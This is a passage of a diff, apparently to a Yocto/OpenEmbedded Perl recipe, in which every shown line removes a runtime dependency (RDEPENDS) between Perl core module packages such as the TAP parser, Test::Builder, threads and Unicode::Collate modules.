-RDEPENDS_perl-module-pod-simple-xmloutstream += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-xmloutstream += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-color += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-text-color += "perl-module-strict"
-RDEPENDS_perl-module-pod-text-color += "perl-module-term-ansicolor"
-RDEPENDS_perl-module-pod-text-color += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-color += "perl-module-warnings"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-strict"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-overstrike += "perl-module-warnings"
-RDEPENDS_perl-module-pod-text += "perl-module-encode"
-RDEPENDS_perl-module-pod-text += "perl-module-exporter"
-RDEPENDS_perl-module-pod-text += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-text += "perl-module-strict"
-RDEPENDS_perl-module-pod-text += "perl-module-vars"
-RDEPENDS_perl-module-pod-text += "perl-module-warnings"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-posix"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-strict"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-term-cap"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-vars"
-RDEPENDS_perl-module-pod-text-termcap += "perl-module-warnings"
-RDEPENDS_perl-module-pod-usage += "perl-module-config"
-RDEPENDS_perl-module-pod-usage += "perl-module-exporter"
-RDEPENDS_perl-module-pod-usage += "perl-module-strict"
-RDEPENDS_perl-module-pod-usage += "perl-module-vars"
-RDEPENDS_perl-module-posix += "perl-module-exporter"
-RDEPENDS_perl-module-posix += "perl-module-fcntl"
-RDEPENDS_perl-module-posix += "perl-module-strict"
-RDEPENDS_perl-module-posix += "perl-module-tie-hash"
-RDEPENDS_perl-module-posix += "perl-module-warnings"
-RDEPENDS_perl-module-posix += "perl-module-xsloader"
-RDEPENDS_perl-module-re += "perl-module-exporter"
-RDEPENDS_perl-module-re += "perl-module-strict"
-RDEPENDS_perl-module-re += "perl-module-term-cap"
-RDEPENDS_perl-module-re += "perl-module-warnings"
-RDEPENDS_perl-module-re += "perl-module-xsloader"
-RDEPENDS_perl-module-safe += "perl-module-b"
-RDEPENDS_perl-module-safe += "perl-module-opcode"
-RDEPENDS_perl-module-safe += "perl-module-strict"
-RDEPENDS_perl-module-safe += "perl-module-utf8"
-RDEPENDS_perl-module-sdbm-file += "perl-module-exporter"
-RDEPENDS_perl-module-sdbm-file += "perl-module-strict"
-RDEPENDS_perl-module-sdbm-file += "perl-module-tie-hash"
-RDEPENDS_perl-module-sdbm-file += "perl-module-warnings"
-RDEPENDS_perl-module-sdbm-file += "perl-module-xsloader"
-RDEPENDS_perl-module-search-dict += "perl-module-exporter"
-RDEPENDS_perl-module-search-dict += "perl-module-feature"
-RDEPENDS_perl-module-search-dict += "perl-module-strict"
-RDEPENDS_perl-module-selfloader += "perl-module-exporter"
-RDEPENDS_perl-module-selfloader += "perl-module-io-handle"
-RDEPENDS_perl-module-selfloader += "perl-module-strict"
-RDEPENDS_perl-module-socket += "perl-module-exporter"
-RDEPENDS_perl-module-socket += "perl-module-strict"
-RDEPENDS_perl-module-socket += "perl-module-warnings-register"
-RDEPENDS_perl-module-socket += "perl-module-xsloader"
-RDEPENDS_perl-module-sort += "perl-module-strict"
-RDEPENDS_perl-module-storable += "perl-module-exporter"
-RDEPENDS_perl-module-storable += "perl-module-io-file"
-RDEPENDS_perl-module-sub-util += "perl-module-exporter"
-RDEPENDS_perl-module-sub-util += "perl-module-list-util"
-RDEPENDS_perl-module-sub-util += "perl-module-strict"
-RDEPENDS_perl-module-sub-util += "perl-module-warnings"
-RDEPENDS_perl-module-sys-hostname += "perl-module-exporter"
-RDEPENDS_perl-module-sys-hostname += "perl-module-posix"
-RDEPENDS_perl-module-sys-hostname += "perl-module-strict"
-RDEPENDS_perl-module-sys-hostname += "perl-module-warnings"
-RDEPENDS_perl-module-sys-hostname += "perl-module-xsloader"
-RDEPENDS_perl-module-sys-syslog += "perl-module-config"
-RDEPENDS_perl-module-sys-syslog += "perl-module-constant"
-RDEPENDS_perl-module-sys-syslog += "perl-module-dynaloader"
-RDEPENDS_perl-module-sys-syslog += "perl-module-exporter"
-RDEPENDS_perl-module-sys-syslog += "perl-module-fcntl"
-RDEPENDS_perl-module-sys-syslog += "perl-module-file-basename"
-RDEPENDS_perl-module-sys-syslog += "perl-module-posix"
-RDEPENDS_perl-module-sys-syslog += "perl-module-socket"
-RDEPENDS_perl-module-sys-syslog += "perl-module-strict"
-RDEPENDS_perl-module-sys-syslog += "perl-module-sys-hostname"
-RDEPENDS_perl-module-sys-syslog += "perl-module-vars"
-RDEPENDS_perl-module-sys-syslog += "perl-module-warnings"
-RDEPENDS_perl-module-sys-syslog += "perl-module-warnings-register"
-RDEPENDS_perl-module-sys-syslog += "perl-module-xsloader"
-RDEPENDS_perl-module-tap-base += "perl-module-base"
-RDEPENDS_perl-module-tap-base += "perl-module-constant"
-RDEPENDS_perl-module-tap-base += "perl-module-strict"
-RDEPENDS_perl-module-tap-base += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-posix"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-tap-formatter-color"
-RDEPENDS_perl-module-tap-formatter-base += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-constant"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-color += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-constant"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-file-path"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-console-parallelsession += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-posix"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-console += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-console-session += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-console-session += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-console-session += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-posix"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-tap-formatter-file-session"
-RDEPENDS_perl-module-tap-formatter-file += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-file-session += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-file-session += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-file-session += "perl-module-warnings"
-RDEPENDS_perl-module-tap-formatter-session += "perl-module-base"
-RDEPENDS_perl-module-tap-formatter-session += "perl-module-strict"
-RDEPENDS_perl-module-tap-formatter-session += "perl-module-warnings"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-constant"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-strict"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-tap-object"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-text-parsewords"
-RDEPENDS_perl-module-tap-harness-env += "perl-module-warnings"
-RDEPENDS_perl-module-tap-harness += "perl-module-base"
-RDEPENDS_perl-module-tap-harness += "perl-module-file-path"
-RDEPENDS_perl-module-tap-harness += "perl-module-io-handle"
-RDEPENDS_perl-module-tap-harness += "perl-module-strict"
-RDEPENDS_perl-module-tap-harness += "perl-module-warnings"
-RDEPENDS_perl-module-tap-object += "perl-module-strict"
-RDEPENDS_perl-module-tap-object += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-benchmark"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-aggregator += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-tap-parser-resultfactory"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-tap-parser-yamlish-reader"
-RDEPENDS_perl-module-tap-parser-grammar += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator-array += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator-array += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator-array += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-file-basename"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iteratorfactory += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-config"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-io-handle"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator-process += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-iterator-stream += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-iterator-stream += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-iterator-stream += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-io-select"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-multiplexer += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser += "perl-module-base"
-RDEPENDS_perl-module-tap-parser += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-grammar"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-iterator"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-result"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-resultfactory"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-source"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-executable"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-file"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-handle"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-perl"
-RDEPENDS_perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-rawtap"
-RDEPENDS_perl-module-tap-parser += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-bailout += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-bailout += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-bailout += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-comment += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-comment += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-comment += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-bailout"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-comment"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-plan"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-pragma"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-test"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-unknown"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-version"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-yaml"
-RDEPENDS_perl-module-tap-parser-resultfactory += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-plan += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-plan += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-plan += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-pragma += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-pragma += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-pragma += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-test += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-test += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-test += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-unknown += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-unknown += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-unknown += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-version += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-version += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-version += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-result-yaml += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-result-yaml += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-result-yaml += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-scheduler-job += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-scheduler-job += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-tap-parser-scheduler-job"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-tap-parser-scheduler-spinner"
-RDEPENDS_perl-module-tap-parser-scheduler += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-scheduler-spinner += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-scheduler-spinner += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-iterator-process"
-RDEPENDS_perl-module-tap-parser-sourcehandler-executable += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-iterator-stream"
-RDEPENDS_perl-module-tap-parser-sourcehandler-file += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-iterator-stream"
-RDEPENDS_perl-module-tap-parser-sourcehandler-handle += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-tap-parser-iterator"
-RDEPENDS_perl-module-tap-parser-sourcehandler += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-config"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-iterator-process"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-text-parsewords"
-RDEPENDS_perl-module-tap-parser-sourcehandler-perl += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-iterator-array"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-iteratorfactory"
-RDEPENDS_perl-module-tap-parser-sourcehandler-rawtap += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-constant"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-file-basename"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-source += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-yamlish-reader += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-yamlish-reader += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-yamlish-reader += "perl-module-warnings"
-RDEPENDS_perl-module-tap-parser-yamlish-writer += "perl-module-base"
-RDEPENDS_perl-module-tap-parser-yamlish-writer += "perl-module-strict"
-RDEPENDS_perl-module-tap-parser-yamlish-writer += "perl-module-warnings"
-RDEPENDS_perl-module-term-ansicolor += "perl-module-exporter"
-RDEPENDS_perl-module-term-ansicolor += "perl-module-strict"
-RDEPENDS_perl-module-term-ansicolor += "perl-module-warnings"
-RDEPENDS_perl-module-term-cap += "perl-module-strict"
-RDEPENDS_perl-module-term-cap += "perl-module-vars"
-RDEPENDS_perl-module-term-complete += "perl-module-exporter"
-RDEPENDS_perl-module-term-complete += "perl-module-strict"
-RDEPENDS_perl-module-term-readline += "perl-module-strict"
-RDEPENDS_perl-module-term-readline += "perl-module-term-cap"
-RDEPENDS_perl-module-test-builder-formatter += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-formatter += "perl-module-warnings"
-RDEPENDS_perl-module-test-builder-module += "perl-module-exporter"
-RDEPENDS_perl-module-test-builder-module += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-module += "perl-module-test-builder"
-RDEPENDS_perl-module-test-builder += "perl-module-data-dumper"
-RDEPENDS_perl-module-test-builder += "perl-module-overload"
-RDEPENDS_perl-module-test-builder += "perl-module-strict"
-RDEPENDS_perl-module-test-builder += "perl-module-test-builder-formatter"
-RDEPENDS_perl-module-test-builder += "perl-module-test-builder-tododiag"
-RDEPENDS_perl-module-test-builder += "perl-module-warnings"
-RDEPENDS_perl-module-test-builder-tester-color += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-tester-color += "perl-module-test-builder-tester"
-RDEPENDS_perl-module-test-builder-tester += "perl-module-exporter"
-RDEPENDS_perl-module-test-builder-tester += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-tester += "perl-module-test-builder"
-RDEPENDS_perl-module-test-builder-tododiag += "perl-module-strict"
-RDEPENDS_perl-module-test-builder-tododiag += "perl-module-warnings"
-RDEPENDS_perl-module-test-harness += "perl-module-base"
-RDEPENDS_perl-module-test-harness += "perl-module-config"
-RDEPENDS_perl-module-test-harness += "perl-module-constant"
-RDEPENDS_perl-module-test-harness += "perl-module-strict"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-harness"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-parser-aggregator"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-parser-source"
-RDEPENDS_perl-module-test-harness += "perl-module-tap-parser-sourcehandler-perl"
-RDEPENDS_perl-module-test-harness += "perl-module-text-parsewords"
-RDEPENDS_perl-module-test-harness += "perl-module-warnings"
-RDEPENDS_perl-module-test-more += "perl-module-strict"
-RDEPENDS_perl-module-test-more += "perl-module-test-builder-module"
-RDEPENDS_perl-module-test-more += "perl-module-warnings"
-RDEPENDS_perl-module-test += "perl-module-exporter"
-RDEPENDS_perl-module-test += "perl-module-file-temp"
-RDEPENDS_perl-module-test += "perl-module-strict"
-RDEPENDS_perl-module-test-simple += "perl-module-strict"
-RDEPENDS_perl-module-test-simple += "perl-module-test-builder-module"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-config"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-strict"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-test-builder"
-RDEPENDS_perl-module-test-tester-capture += "perl-module-vars"
-RDEPENDS_perl-module-test-tester-capturerunner += "perl-module-exporter"
-RDEPENDS_perl-module-test-tester-capturerunner += "perl-module-strict"
-RDEPENDS_perl-module-test-tester-capturerunner += "perl-module-test-tester-capture"
-RDEPENDS_perl-module-test-tester-delegate += "perl-module-strict"
-RDEPENDS_perl-module-test-tester-delegate += "perl-module-vars"
-RDEPENDS_perl-module-test-tester-delegate += "perl-module-warnings"
-RDEPENDS_perl-module-test-tester += "perl-module-exporter"
-RDEPENDS_perl-module-test-tester += "perl-module-strict"
-RDEPENDS_perl-module-test-tester += "perl-module-test-builder"
-RDEPENDS_perl-module-test-tester += "perl-module-test-tester-capturerunner"
-RDEPENDS_perl-module-test-tester += "perl-module-test-tester-delegate"
-RDEPENDS_perl-module-test-tester += "perl-module-vars"
-RDEPENDS_perl-module-text-abbrev += "perl-module-exporter"
-RDEPENDS_perl-module-text-balanced += "perl-module-exporter"
-RDEPENDS_perl-module-text-balanced += "perl-module-overload"
-RDEPENDS_perl-module-text-balanced += "perl-module-selfloader"
-RDEPENDS_perl-module-text-balanced += "perl-module-strict"
-RDEPENDS_perl-module-text-balanced += "perl-module-vars"
-RDEPENDS_perl-module-text-parsewords += "perl-module-exporter"
-RDEPENDS_perl-module-text-parsewords += "perl-module-strict"
-RDEPENDS_perl-module-text-tabs += "perl-module-exporter"
-RDEPENDS_perl-module-text-tabs += "perl-module-strict"
-RDEPENDS_perl-module-text-tabs += "perl-module-vars"
-RDEPENDS_perl-module-text-wrap += "perl-module-exporter"
-RDEPENDS_perl-module-text-wrap += "perl-module-re"
-RDEPENDS_perl-module-text-wrap += "perl-module-strict"
-RDEPENDS_perl-module-text-wrap += "perl-module-text-tabs"
-RDEPENDS_perl-module-text-wrap += "perl-module-vars"
-RDEPENDS_perl-module-text-wrap += "perl-module-warnings-register"
-RDEPENDS_perl-module-thread += "perl-module-config"
-RDEPENDS_perl-module-thread += "perl-module-exporter"
-RDEPENDS_perl-module-thread += "perl-module-strict"
-RDEPENDS_perl-module-thread += "perl-module-threads"
-RDEPENDS_perl-module-thread += "perl-module-threads-shared"
-RDEPENDS_perl-module-thread += "perl-module-warnings"
-RDEPENDS_perl-module-thread-queue += "perl-module-strict"
-RDEPENDS_perl-module-thread-queue += "perl-module-threads-shared"
-RDEPENDS_perl-module-thread-queue += "perl-module-warnings"
-RDEPENDS_perl-module-thread-semaphore += "perl-module-strict"
-RDEPENDS_perl-module-thread-semaphore += "perl-module-threads-shared"
-RDEPENDS_perl-module-thread-semaphore += "perl-module-warnings"
-RDEPENDS_perl-module-threads += "perl-module-config"
-RDEPENDS_perl-module-threads += "perl-module-overload"
-RDEPENDS_perl-module-threads += "perl-module-strict"
-RDEPENDS_perl-module-threads += "perl-module-warnings"
-RDEPENDS_perl-module-threads += "perl-module-xsloader"
-RDEPENDS_perl-module-threads-shared += "perl-module-config"
-RDEPENDS_perl-module-threads-shared += "perl-module-strict"
-RDEPENDS_perl-module-threads-shared += "perl-module-warnings"
-RDEPENDS_perl-module-threads-shared += "perl-module-xsloader"
-RDEPENDS_perl-module-tie-array += "perl-module-strict"
-RDEPENDS_perl-module-tie-file += "perl-module-fcntl"
-RDEPENDS_perl-module-tie-file += "perl-module-posix"
-RDEPENDS_perl-module-tie-file += "perl-module-strict"
-RDEPENDS_perl-module-tie-file += "perl-module-warnings"
-RDEPENDS_perl-module-tie-handle += "perl-module-tie-stdhandle"
-RDEPENDS_perl-module-tie-handle += "perl-module-warnings-register"
-RDEPENDS_perl-module-tie-hash-namedcapture += "perl-module-strict"
-RDEPENDS_perl-module-tie-hash += "perl-module-warnings-register"
-RDEPENDS_perl-module-tie-memoize += "perl-module-strict"
-RDEPENDS_perl-module-tie-memoize += "perl-module-tie-hash"
-RDEPENDS_perl-module-tie-refhash += "perl-module-config"
-RDEPENDS_perl-module-tie-refhash += "perl-module-overload"
-RDEPENDS_perl-module-tie-refhash += "perl-module-strict"
-RDEPENDS_perl-module-tie-refhash += "perl-module-tie-hash"
-RDEPENDS_perl-module-tie-refhash += "perl-module-vars"
-RDEPENDS_perl-module-tie-scalar += "perl-module-warnings-register"
-RDEPENDS_perl-module-tie-stdhandle += "perl-module-strict"
-RDEPENDS_perl-module-tie-stdhandle += "perl-module-tie-handle"
-RDEPENDS_perl-module-tie-substrhash += "perl-module-integer"
-RDEPENDS_perl-module-time-gmtime += "perl-module-exporter"
-RDEPENDS_perl-module-time-gmtime += "perl-module-strict"
-RDEPENDS_perl-module-time-gmtime += "perl-module-time-tm"
-RDEPENDS_perl-module-time-hires += "perl-module-exporter"
-RDEPENDS_perl-module-time-hires += "perl-module-strict"
-RDEPENDS_perl-module-time-hires += "perl-module-xsloader"
-RDEPENDS_perl-module-time-local += "perl-module-config"
-RDEPENDS_perl-module-time-local += "perl-module-constant"
-RDEPENDS_perl-module-time-local += "perl-module-exporter"
-RDEPENDS_perl-module-time-local += "perl-module-parent"
-RDEPENDS_perl-module-time-local += "perl-module-strict"
-RDEPENDS_perl-module-time-localtime += "perl-module-exporter"
-RDEPENDS_perl-module-time-localtime += "perl-module-strict"
-RDEPENDS_perl-module-time-localtime += "perl-module-time-tm"
-RDEPENDS_perl-module-time-piece += "perl-module-constant"
-RDEPENDS_perl-module-time-piece += "perl-module-exporter"
-RDEPENDS_perl-module-time-piece += "perl-module-integer"
-RDEPENDS_perl-module-time-piece += "perl-module-overload"
-RDEPENDS_perl-module-time-piece += "perl-module-strict"
-RDEPENDS_perl-module-time-piece += "perl-module-time-local"
-RDEPENDS_perl-module-time-piece += "perl-module-time-seconds"
-RDEPENDS_perl-module-time-piece += "perl-module-xsloader"
-RDEPENDS_perl-module-time-seconds += "perl-module-constant"
-RDEPENDS_perl-module-time-seconds += "perl-module-exporter"
-RDEPENDS_perl-module-time-seconds += "perl-module-overload"
-RDEPENDS_perl-module-time-seconds += "perl-module-strict"
-RDEPENDS_perl-module-time-tm += "perl-module-class-struct"
-RDEPENDS_perl-module-time-tm += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-big5 += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-big5 += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-gb2312 += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-gb2312 += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-jisx0208 += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-jisx0208 += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-korean += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-korean += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-pinyin += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-pinyin += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-stroke += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-stroke += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-cjk-zhuyin += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-cjk-zhuyin += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate-locale += "perl-module-base"
-RDEPENDS_perl-module-unicode-collate-locale += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate-locale += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate += "perl-module-constant"
-RDEPENDS_perl-module-unicode-collate += "perl-module-strict"
-RDEPENDS_perl-module-unicode-collate += "perl-module-warnings"
-RDEPENDS_perl-module-unicode-collate += "perl-module-xsloader"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-exporter"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-strict"
-RDEPENDS_perl-module-unicode-normalize += "perl-module-warnings"
